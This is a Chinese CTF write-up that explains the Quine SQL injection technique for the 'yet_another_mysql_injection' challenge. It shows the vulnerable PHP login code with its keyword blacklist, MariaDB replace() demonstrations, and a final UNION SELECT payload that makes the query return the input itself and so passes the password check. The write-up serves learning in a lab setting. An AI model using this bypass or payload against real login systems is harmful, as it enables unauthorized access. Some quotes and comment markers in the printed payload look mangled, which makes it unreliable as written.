之前做了一道题看别人的wp不明所以,搁置了一段时间再看豁然开朗。

题目:CTFHub_2021-第五空间智能安全大赛-Web-yet_another_mysql_injection

首先进入题目是一个登陆框,看了html源码发现有提示源码位置,进行查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');//username===admin
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {//这个是关键
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>

题目黑名单不是很死,通过各种符号以及函数的替代也可以注,但是重点不在此,重点在于题目中的判断

if ($row[‘password’] === $password)

这样就引入了要学到的内容——Quino注入

Quino注入

Quine又称为自产生程序,在sql注入中是一种使得输入的sql语句和输出的sql语句一致的技术,就是说输入的语句进行查询后生成的结果与输入的语句相同(自己生成自己),可以看到题目中的判断正是考察了这个点。

replace函数

replace(object, search, replace)

此函数用于将object中的所有search替换为replace。

1
2
3
4
5
6
7
MariaDB [(none)]> select replace(".", char(46), "!");
+-----------------------------+
| replace(".", char(46), "!") |
+-----------------------------+
| ! |
+-----------------------------+
1 row in set (0.000 sec)

可以看到能够成功替换。

尝试使输入输出保持一致

替换object

尝试通过替换object使输入输出保持一致:

1
2
3
4
5
6
7
MariaDB [(none)]> select replace('replace(".",char(46),".")',char(46),'.');
+---------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'.') |
+---------------------------------------------------+
| replace(".",char(46),".") |
+---------------------------------------------------+
1 row in set (0.000 sec)

还是差一点,只是将object中的字符串原样输出了,replace还没怎么用到,是否可以通过更改replace使输入输出保持一致?

替换object+replace

1
2
3
4
5
6
7
MariaDB [(none)]> select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
+---------------------------------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")') |
+---------------------------------------------------------------------------+
| replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") |
+---------------------------------------------------------------------------+
1 row in set (0.000 sec)

可以看到确实长得差不多了,但还是有问题,包围object和replace的符号仍然有差异。object中的.被替换为了replace(“.”,char(46),”.”),但包围.的引号为双引号,如果直接更改为单引号会造成最外层replace的object界限不明确,因此还需要再套一层replace,将双引号改为单引号。

解决引号问题

1
replace('"."',char(34),char(39))

语句将字符串中的双引号替换为了单引号,这就是解决引号问题的方法,即在object外再套一层replace将里面的双引号更改为单引号:

1
2
3
4
5
6
7
MariaDB [(none)]> select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.000 sec)

此时输入与输出可以保持一致了,先看最上面的一行的绿色部分,由于需要区分字符串的界限,因此字符串的外界(此时为单引号)与字符串内的引号要保持不同(此时为双引号),绿色部分外一层的replace的目的就是为了将字符串内的引号转换为与外界相同的引号(此时为单引号,即将字符串内的双引号改为单引号),这样就好办了,继续进行更外一层的replace,此时能够看到成功进行了Quine注入。

那么如果我在开始直接将字符串的外界定义为双引号,这样字符串内的引号就变成了单引号,这样不就可以简化了嘛?结果是,在这种情况下,待查询语句的外侧变成了双引号,而结果变成了单引号,结果一样不同,因此最内层套的这个replace不能简化。

总结

Quine基本形式:

replace(replace(‘str’,char(34),char(39)),char(46),‘str’)

先将str里的双引号替换成单引号,再用str替换str里的.

str基本形式(可以理解成上面的”.”):

replace(replace(“.”,char(34),char(39)),char(46),”.”)

完整的Quine就是Quine基本形式+str基本形式

回头再看题目的payload:

1’//union//select//replace(replace(‘1”//union//select//replace(replace(“.”,char(34),char(39)),char(46),”.”)#’,char(34),char(39)),char(46),’1”//union//select/**/replace(replace(“.”,char(34),char(39)),char(46),”.”)#’)#

str:

1”//union//select/**/replace(replace(“.”,char(34),char(39)),char(46),”.”)#

quine基本形式:

1’//union//select/**/replace(replace(‘str’,char(34),char(39)),char(46),’str’)#